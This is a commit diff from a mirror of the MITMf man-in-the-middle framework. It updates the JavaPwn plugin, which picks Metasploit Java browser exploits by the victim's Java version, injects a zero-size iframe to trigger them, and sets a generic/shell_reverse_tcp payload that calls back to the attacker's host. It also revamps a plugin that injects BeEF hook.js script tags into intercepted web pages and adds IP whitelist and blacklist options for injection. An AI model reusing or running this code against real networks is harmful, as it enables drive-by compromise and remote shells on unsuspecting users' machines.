mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-15 01:23:54 -07:00
- Revamped Javapwn plugin with new detection and exploitation algo
- Added whitelist/blacklist ip options to the inject plugin - Revamped Beefautorun plugin, with new injection algo - Metasploit and BeEF options are now a config file (mitmf.cfg)
This commit is contained in:
parent
4ae50e6e0c
commit
f359ee7cdd
7 changed files with 211 additions and 121 deletions
|
@ -1,5 +1,27 @@
|
||||||
#Example config file for the javapwn plugin
|
# All versions strings without a * are considered vulnerable if clients Java version is <= update version
|
||||||
1.702 = "java_atomicreferencearray"
|
# When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
|
||||||
1.704 = "java_verifier_field_access"
|
|
||||||
1.706 = "java_jre17_exec"
|
[Multi] #Cross platform exploits, yay java! <3
|
||||||
1.707 = "java_jre17_jaxws"
|
|
||||||
|
multi/browser/java_rhino = 1.6.0.28, 1.7.0.28
|
||||||
|
multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16
|
||||||
|
multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
|
||||||
|
multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
|
||||||
|
multi/browser/java_jre17_exec = 1.7.0.6
|
||||||
|
multi/browser/java_jre17_jaxws = 1.7.0.7
|
||||||
|
multi/browser/java_jre17_jmxbean = 1.7.0.10
|
||||||
|
multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
|
||||||
|
multi/browser/java_jre17_reflection_types = 1.7.0.17
|
||||||
|
multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
|
||||||
|
multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
|
||||||
|
multi/browser/java_jre17_method_handle = 1.7.0.7
|
||||||
|
multi/browser/java_jre17_driver_manager = 1.7.0.17
|
||||||
|
multi/browser/java_jre17_provider_skeleton = 1.7.0.21
|
||||||
|
multi/browser/java_storeimagearray = 1.7.0.21
|
||||||
|
multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
|
||||||
|
|
||||||
|
[Windows] #These are windows specific
|
||||||
|
|
||||||
|
windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7
|
||||||
|
windows/browser/java_cmm = 1.6.0.41, 1.7.0.15
|
||||||
|
windows/browser/java_mixer_sequencer = 1.6.0.18
|
||||||
|
|
10
config/mitmf.cfg
Normal file
10
config/mitmf.cfg
Normal file
|
@ -0,0 +1,10 @@
|
||||||
|
[BeEF]
|
||||||
|
beefip = 127.0.0.1
|
||||||
|
beefport = 3000
|
||||||
|
user = beef
|
||||||
|
pass = beef
|
||||||
|
|
||||||
|
[Metasploit]
|
||||||
|
msfport = 8080 #Port to start webserver for exploits
|
||||||
|
rpcip = 127.0.0.1
|
||||||
|
rpcpass = abc123
|
|
@ -47,7 +47,6 @@ class ServerConnection(HTTPClient):
|
||||||
self.postData = postData
|
self.postData = postData
|
||||||
self.headers = headers
|
self.headers = headers
|
||||||
self.client = client
|
self.client = client
|
||||||
self.clientInfo = None
|
|
||||||
self.urlMonitor = URLMonitor.getInstance()
|
self.urlMonitor = URLMonitor.getInstance()
|
||||||
self.hsts = URLMonitor.getInstance().isHstsBypass()
|
self.hsts = URLMonitor.getInstance().isHstsBypass()
|
||||||
self.plugins = ProxyPlugins.getInstance()
|
self.plugins = ProxyPlugins.getInstance()
|
||||||
|
@ -76,7 +75,10 @@ class ServerConnection(HTTPClient):
|
||||||
def sendRequest(self):
|
def sendRequest(self):
|
||||||
if self.command == 'GET':
|
if self.command == 'GET':
|
||||||
user_agent = parse(self.headers['user-agent'])
|
user_agent = parse(self.headers['user-agent'])
|
||||||
|
try:
|
||||||
self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
self.clientInfo = "%s [type:%s-%s os:%s] " % (self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family)
|
||||||
|
except:
|
||||||
|
self.clientInfo = "%s " % self.client.getClientIP()
|
||||||
|
|
||||||
logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
|
logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host'])
|
||||||
|
|
||||||
|
|
|
@ -1,10 +1,12 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
import logging
|
||||||
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
|
from scapy.all import get_if_addr
|
||||||
import sys
|
import sys
|
||||||
import json
|
import json
|
||||||
import threading
|
import threading
|
||||||
import logging
|
|
||||||
import libs.beefapi as beefapi
|
import libs.beefapi as beefapi
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -19,37 +21,35 @@ requests_log.setLevel(logging.WARNING)
|
||||||
class BeefAutorun(Inject, Plugin):
|
class BeefAutorun(Inject, Plugin):
|
||||||
name = "BeEFAutorun"
|
name = "BeEFAutorun"
|
||||||
optname = "beefauto"
|
optname = "beefauto"
|
||||||
has_opts = True
|
has_opts = False
|
||||||
desc = "Injects BeEF hooks & autoruns modules based on Browser or OS type"
|
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.autoruncfg = options.autoruncfg
|
|
||||||
self.hookip = options.hookip
|
|
||||||
self.beefip = options.beefip
|
|
||||||
self.beefport = options.beefport
|
|
||||||
self.beefuser = options.beefuser
|
|
||||||
self.beefpass = options.beefpass
|
|
||||||
self.dis_inject = options.dis_inject
|
|
||||||
|
|
||||||
beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
|
|
||||||
if beef.login(self.beefuser, self.beefpass):
|
|
||||||
print "[*] Successfully logged in to BeEF"
|
|
||||||
else:
|
|
||||||
sys.exit("[-] Error logging in to BeEF!")
|
|
||||||
|
|
||||||
|
beefconfig = ConfigObj("./config/mitmf.cfg")['BeEF']
|
||||||
userconfig = ConfigObj("./config/beefautorun.cfg")
|
userconfig = ConfigObj("./config/beefautorun.cfg")
|
||||||
self.Mode = userconfig['mode']
|
|
||||||
|
|
||||||
|
self.Mode = userconfig['mode']
|
||||||
self.All_modules = userconfig["ALL"]
|
self.All_modules = userconfig["ALL"]
|
||||||
self.Targeted_modules = userconfig["targets"]
|
self.Targeted_modules = userconfig["targets"]
|
||||||
|
|
||||||
if self.dis_inject:
|
try:
|
||||||
if not self.hookip:
|
self.ip_address = get_if_addr(options.interface)
|
||||||
sys.exit("[-] BeEFAutorun requires --hookip")
|
if self.ip_address == "0.0.0.0":
|
||||||
|
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
|
||||||
|
except Exception, e:
|
||||||
|
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||||
|
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.count_limit = 1
|
self.black_ips = []
|
||||||
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.hookip, self.beefport)
|
self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.ip_address, beefconfig['beefport'])
|
||||||
|
|
||||||
|
beef = beefapi.BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']})
|
||||||
|
if beef.login(beefconfig['user'], beefconfig['pass']):
|
||||||
|
print "[*] Successfully logged in to BeEF"
|
||||||
|
else:
|
||||||
|
sys.exit("[-] Error logging in to BeEF!")
|
||||||
|
|
||||||
print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
|
print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode
|
||||||
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
|
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
|
||||||
|
@ -59,15 +59,17 @@ class BeefAutorun(Inject, Plugin):
|
||||||
def autorun(self, beef):
|
def autorun(self, beef):
|
||||||
already_ran = []
|
already_ran = []
|
||||||
already_hooked = []
|
already_hooked = []
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
sessions = beef.sessions_online()
|
sessions = beef.sessions_online()
|
||||||
if sessions is not None and len(sessions) > 0:
|
if (sessions is not None and len(sessions) > 0):
|
||||||
for session in sessions:
|
for session in sessions:
|
||||||
|
|
||||||
if session not in already_hooked:
|
if session not in already_hooked:
|
||||||
info = beef.hook_info(session)
|
info = beef.hook_info(session)
|
||||||
logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
|
logging.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os']))
|
||||||
already_hooked.append(session)
|
already_hooked.append(session)
|
||||||
|
self.black_ips.append(str(info['ip']))
|
||||||
|
|
||||||
if self.Mode == 'oneshot':
|
if self.Mode == 'oneshot':
|
||||||
if session not in already_ran:
|
if session not in already_ran:
|
||||||
|
@ -115,12 +117,3 @@ class BeefAutorun(Inject, Plugin):
|
||||||
else:
|
else:
|
||||||
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
|
||||||
sleep(0.5)
|
sleep(0.5)
|
||||||
|
|
||||||
def add_options(self, options):
|
|
||||||
group = options.add_mutually_exclusive_group(required=False)
|
|
||||||
group.add_argument('--hookip', dest='hookip', help="Hook IP")
|
|
||||||
group.add_argument('--disable-inject', dest='dis_inject', action='store_true', default=True, help='Disables automatically injecting the hook url')
|
|
||||||
options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
|
|
||||||
options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
|
|
||||||
options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
|
|
||||||
options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
|
|
||||||
|
|
|
@ -17,9 +17,9 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
self.dic_output = {} # so other plugins can access the results
|
self.dic_output = {} # so other plugins can access the results
|
||||||
print "[*] Browser Profiler online"
|
print "[*] Browser Profiler online"
|
||||||
|
|
||||||
def post2dict(self, string): #converts the ajax post to a dic
|
def post2dict(self, post): #converts the ajax post to a dic
|
||||||
dict = {}
|
dict = {}
|
||||||
for line in string.split('&'):
|
for line in post.split('&'):
|
||||||
t = line.split('=')
|
t = line.split('=')
|
||||||
dict[t[0]] = t[1]
|
dict[t[0]] = t[1]
|
||||||
return dict
|
return dict
|
||||||
|
@ -69,8 +69,6 @@ function make_xhr(){
|
||||||
}
|
}
|
||||||
|
|
||||||
var data = [];
|
var data = [];
|
||||||
userAgent = navigator.userAgent;
|
|
||||||
data.push('user_agent=' + userAgent);
|
|
||||||
|
|
||||||
var PD = PluginDetect;
|
var PD = PluginDetect;
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,6 @@
|
||||||
import logging
|
import logging
|
||||||
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
|
from scapy.all import get_if_addr
|
||||||
import time
|
import time
|
||||||
import re
|
import re
|
||||||
import argparse
|
import argparse
|
||||||
|
@ -21,9 +23,30 @@ class Inject(CacheKill, Plugin):
|
||||||
self.rate_limit = options.rate_limit
|
self.rate_limit = options.rate_limit
|
||||||
self.count_limit = options.count_limit
|
self.count_limit = options.count_limit
|
||||||
self.per_domain = options.per_domain
|
self.per_domain = options.per_domain
|
||||||
|
self.black_ips = options.black_ips
|
||||||
|
self.white_ips = options.white_ips
|
||||||
self.match_str = options.match_str
|
self.match_str = options.match_str
|
||||||
self.html_payload = options.html_payload
|
self.html_payload = options.html_payload
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.proxyip = get_if_addr(options.interface)
|
||||||
|
if self.proxyip == "0.0.0.0":
|
||||||
|
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
|
||||||
|
except Exception, e:
|
||||||
|
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||||
|
|
||||||
|
if self.white_ips:
|
||||||
|
temp = []
|
||||||
|
for ip in self.white_ips.split(','):
|
||||||
|
temp.append(ip)
|
||||||
|
self.white_ips = temp
|
||||||
|
|
||||||
|
if self.black_ips:
|
||||||
|
temp = []
|
||||||
|
for ip in self.black_ips.split(','):
|
||||||
|
temp.append(ip)
|
||||||
|
self.black_ips = temp
|
||||||
|
|
||||||
if self.options.preserve_cache:
|
if self.options.preserve_cache:
|
||||||
self.implements.remove("handleHeader")
|
self.implements.remove("handleHeader")
|
||||||
self.implements.remove("connectionMade")
|
self.implements.remove("connectionMade")
|
||||||
|
@ -43,12 +66,12 @@ class Inject(CacheKill, Plugin):
|
||||||
#print "http://" + request.client.getRequestHostname() + request.uri
|
#print "http://" + request.client.getRequestHostname() + request.uri
|
||||||
ip, hn, mime = self._get_req_info(request)
|
ip, hn, mime = self._get_req_info(request)
|
||||||
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
|
||||||
|
if hn not in self.proxyip: #prevents recursive injecting
|
||||||
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
|
||||||
self.ctable[ip] = time.time()
|
self.ctable[ip] = time.time()
|
||||||
self.dtable[ip+hn] = True
|
self.dtable[ip+hn] = True
|
||||||
self.count += 1
|
self.count += 1
|
||||||
logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
|
logging.info("%s [%s] Injected malicious html" % (ip, hn))
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
||||||
else:
|
else:
|
||||||
return
|
return
|
||||||
|
@ -62,12 +85,28 @@ class Inject(CacheKill, Plugin):
|
||||||
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
|
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
|
||||||
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
|
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
|
||||||
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
|
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
|
||||||
options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
|
|
||||||
options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
|
|
||||||
options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
|
|
||||||
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
|
||||||
|
group = options.add_mutually_exclusive_group(required=False)
|
||||||
|
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
|
||||||
|
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
|
||||||
|
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
|
||||||
|
group.add_argument("--white-ips", type=str, default=None, help="Inject content ONLY for these ips")
|
||||||
|
group.add_argument("--black-ips", type=str, default=None, help="DO NOT inject content for these ips")
|
||||||
|
|
||||||
def _should_inject(self, ip, hn, mime):
|
def _should_inject(self, ip, hn, mime):
|
||||||
|
|
||||||
|
if self.white_ips is not None:
|
||||||
|
if ip in self.white_ips:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self.black_ips is not None:
|
||||||
|
if ip in self.black_ips:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
if self.count_limit == self.rate_limit is None and not self.per_domain:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -81,6 +120,7 @@ class Inject(CacheKill, Plugin):
|
||||||
|
|
||||||
if self.per_domain:
|
if self.per_domain:
|
||||||
return not ip+hn in self.dtable
|
return not ip+hn in self.dtable
|
||||||
|
|
||||||
#print mime
|
#print mime
|
||||||
return mime.find(self.mime) != -1
|
return mime.find(self.mime) != -1
|
||||||
|
|
||||||
|
|
|
@ -5,13 +5,11 @@ import libs.msfrpc as msfrpc
|
||||||
import string
|
import string
|
||||||
import random
|
import random
|
||||||
import threading
|
import threading
|
||||||
import logging
|
|
||||||
import sys
|
import sys
|
||||||
|
import logging
|
||||||
try:
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
|
from scapy.all import get_if_addr
|
||||||
from configobj import ConfigObj
|
from configobj import ConfigObj
|
||||||
except:
|
|
||||||
sys.exit('[-] configobj library not installed!')
|
|
||||||
|
|
||||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||||
requests_log.setLevel(logging.WARNING)
|
requests_log.setLevel(logging.WARNING)
|
||||||
|
@ -21,28 +19,31 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
name = "JavaPwn"
|
name = "JavaPwn"
|
||||||
optname = "javapwn"
|
optname = "javapwn"
|
||||||
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
|
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
|
||||||
has_opts = True
|
has_opts = False
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.msfip = options.msfip
|
|
||||||
self.msfport = options.msfport
|
|
||||||
self.rpcip = options.rpcip
|
|
||||||
self.rpcpass = options.rpcpass
|
|
||||||
self.javapwncfg = options.javapwncfg
|
|
||||||
|
|
||||||
if not self.msfip:
|
|
||||||
sys.exit('[-] JavaPwn plugin requires --msfip')
|
|
||||||
|
|
||||||
self.javacfg = ConfigObj("./config/javapwn.cfg")
|
|
||||||
|
|
||||||
self.javaVersionDic = {}
|
|
||||||
for key, value in self.javacfg.iteritems():
|
|
||||||
self.javaVersionDic[float(key)] = value
|
|
||||||
|
|
||||||
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
|
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||||
|
|
||||||
|
msfcfg = ConfigObj('./config/mitmf.cfg')['Metasploit']
|
||||||
|
self.javacfg = ConfigObj('./config/javapwn.cfg')
|
||||||
|
|
||||||
|
self.msfport = msfcfg['msfport']
|
||||||
|
self.rpcip = msfcfg['rpcip']
|
||||||
|
self.rpcpass = msfcfg['rpcpass']
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.msfip = get_if_addr(options.interface)
|
||||||
|
if self.msfip == "0.0.0.0":
|
||||||
|
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
|
||||||
|
except Exception, e:
|
||||||
|
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||||
|
|
||||||
|
#Initialize the BrowserProfiler plugin
|
||||||
|
BrowserProfiler.initialize(self, options)
|
||||||
|
self.black_ips = []
|
||||||
|
|
||||||
try:
|
try:
|
||||||
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
|
||||||
msf.login('msf', self.rpcpass)
|
msf.login('msf', self.rpcpass)
|
||||||
|
@ -51,9 +52,6 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
except Exception:
|
except Exception:
|
||||||
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
|
||||||
|
|
||||||
#Initialize the BrowserProfiler plugin
|
|
||||||
BrowserProfiler.initialize(self, options)
|
|
||||||
|
|
||||||
print "[*] JavaPwn plugin online"
|
print "[*] JavaPwn plugin online"
|
||||||
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
|
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
|
@ -62,16 +60,45 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
|
||||||
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
|
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
|
||||||
|
|
||||||
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
|
def get_exploit(self, java_version):
|
||||||
v = version.split(".")
|
exploits = []
|
||||||
return float(v[0] + "." + "".join(v[-(len(v)-1):]))
|
|
||||||
|
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
|
||||||
|
client_uversion = int(java_version.split('.')[3])
|
||||||
|
|
||||||
|
for ver in self.javacfg['Multi'].items():
|
||||||
|
if type(ver[1]) is list:
|
||||||
|
for list_vers in ver[1]:
|
||||||
|
|
||||||
|
version_string = list_vers[:-len(list_vers.split('.')[3])-1]
|
||||||
|
update_version = int(list_vers.split('.')[3])
|
||||||
|
|
||||||
|
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
|
||||||
|
if client_uversion == update_version:
|
||||||
|
exploits.append(ver[0])
|
||||||
|
elif (client_vstring == version_string):
|
||||||
|
if client_uversion <= update_version:
|
||||||
|
exploits.append(ver[0])
|
||||||
|
else:
|
||||||
|
version_string = ver[1][:-len(ver[1].split('.')[3])-1]
|
||||||
|
update_version = int(ver[1].split('.')[3])
|
||||||
|
|
||||||
|
if ('*' in version_string[:1]) and (client_vstring == version_string[1:]):
|
||||||
|
if client_uversion == update_version:
|
||||||
|
exploits.append(ver[0])
|
||||||
|
elif client_vstring == version_string:
|
||||||
|
if client_uversion <= update_version:
|
||||||
|
exploits.append(ver[0])
|
||||||
|
|
||||||
|
return exploits
|
||||||
|
|
||||||
|
|
||||||
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
|
||||||
#inject iframe
|
#inject iframe
|
||||||
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
|
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
|
||||||
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
|
||||||
|
|
||||||
logging.info('%s >> waiting for ze shells, Please wait...' % client_ip)
|
logging.info('%s >> waiting for ze shellz, Please wait...' % client_ip)
|
||||||
|
|
||||||
exit = False
|
exit = False
|
||||||
i = 1
|
i = 1
|
||||||
|
@ -83,13 +110,14 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
for k, v in shell.items():
|
for k, v in shell.items():
|
||||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||||
logging.info("%s >> Got shell!" % client_ip)
|
logging.info("%s >> Got shell!" % client_ip)
|
||||||
self.sploited_ips.append(client_ip) #target successfuly exploited
|
self.sploited_ips.append(client_ip) #target successfuly exploited :)
|
||||||
|
self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped
|
||||||
exit = True
|
exit = True
|
||||||
break
|
break
|
||||||
sleep(2)
|
sleep(2)
|
||||||
i += 1
|
i += 1
|
||||||
|
|
||||||
if exit is False: #We didn't get a shell
|
if exit is False: #We didn't get a shell :(
|
||||||
logging.info("%s >> session not established after 30 seconds" % client_ip)
|
logging.info("%s >> session not established after 30 seconds" % client_ip)
|
||||||
|
|
||||||
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
|
||||||
|
@ -118,18 +146,20 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
vic_ip = brwprofile['ip']
|
vic_ip = brwprofile['ip']
|
||||||
|
|
||||||
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
|
|
||||||
|
|
||||||
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
|
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
|
||||||
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
|
logging.info("%s >> Choosing exploit based on version string" % vic_ip)
|
||||||
|
|
||||||
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
|
exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg
|
||||||
|
|
||||||
if client_version < min_version: #since the two version strings are now floats we can use the < operand
|
if exploits:
|
||||||
|
|
||||||
exploit = self.javaVersionDic[min_version] #get the exploit string for that version
|
if len(exploits) > 1:
|
||||||
|
logging.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits)))
|
||||||
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit))
|
exploit = random.choice(exploits)
|
||||||
|
logging.info("%s >> choosing %s" %(vic_ip, exploit))
|
||||||
|
else:
|
||||||
|
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0]))
|
||||||
|
exploit = exploits[0]
|
||||||
|
|
||||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||||
jobs = msf.call('job.list') #get running jobs
|
jobs = msf.call('job.list') #get running jobs
|
||||||
|
@ -137,7 +167,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
for k, v in jobs.items():
|
for k, v in jobs.items():
|
||||||
info = msf.call('job.info', [k])
|
info = msf.call('job.info', [k])
|
||||||
if exploit in info['name']:
|
if exploit in info['name']:
|
||||||
logging.info('%s >> %s exploit already started' % (vic_ip, exploit))
|
logging.info('%s >> %s already started' % (vic_ip, exploit))
|
||||||
url = info['uripath'] #get the url assigned to the exploit
|
url = info['uripath'] #get the url assigned to the exploit
|
||||||
self.injectWait(msf, url, vic_ip)
|
self.injectWait(msf, url, vic_ip)
|
||||||
|
|
||||||
|
@ -146,10 +176,10 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
rand_url = self.rand_url()
|
rand_url = self.rand_url()
|
||||||
#generate the command string to send to the virtual console
|
#generate the command string to send to the virtual console
|
||||||
#new line character very important as it simulates a user pressing enter
|
#new line character very important as it simulates a user pressing enter
|
||||||
cmd = "use exploit/multi/browser/%s\n" % exploit
|
cmd = "use exploit/%s\n" % exploit
|
||||||
cmd += "set SRVPORT %s\n" % self.msfport
|
cmd += "set SRVPORT %s\n" % self.msfport
|
||||||
cmd += "set URIPATH %s\n" % rand_url
|
cmd += "set URIPATH %s\n" % rand_url
|
||||||
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
|
cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform
|
||||||
cmd += "set LHOST %s\n" % self.msfip
|
cmd += "set LHOST %s\n" % self.msfip
|
||||||
cmd += "set LPORT %s\n" % rand_port
|
cmd += "set LPORT %s\n" % rand_port
|
||||||
cmd += "exploit -j\n"
|
cmd += "exploit -j\n"
|
||||||
|
@ -160,6 +190,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
|
|
||||||
self.injectWait(msf, rand_url, vic_ip)
|
self.injectWait(msf, rand_url, vic_ip)
|
||||||
else:
|
else:
|
||||||
|
#this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert)
|
||||||
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
|
logging.info("%s >> client is not vulnerable to any java exploit" % vic_ip)
|
||||||
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
|
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
|
||||||
|
|
||||||
|
@ -177,12 +208,6 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
self.injectWait(msf, rand_url, vic_ip)
|
self.injectWait(msf, rand_url, vic_ip)
|
||||||
sleep(1)
|
sleep(1)
|
||||||
|
|
||||||
def add_options(self, options):
|
|
||||||
options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
|
|
||||||
options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
|
|
||||||
options.add_argument('--rpcip', dest='rpcip', default='127.0.0.1', help='IP of MSF MSGRPC server [default: localhost]')
|
|
||||||
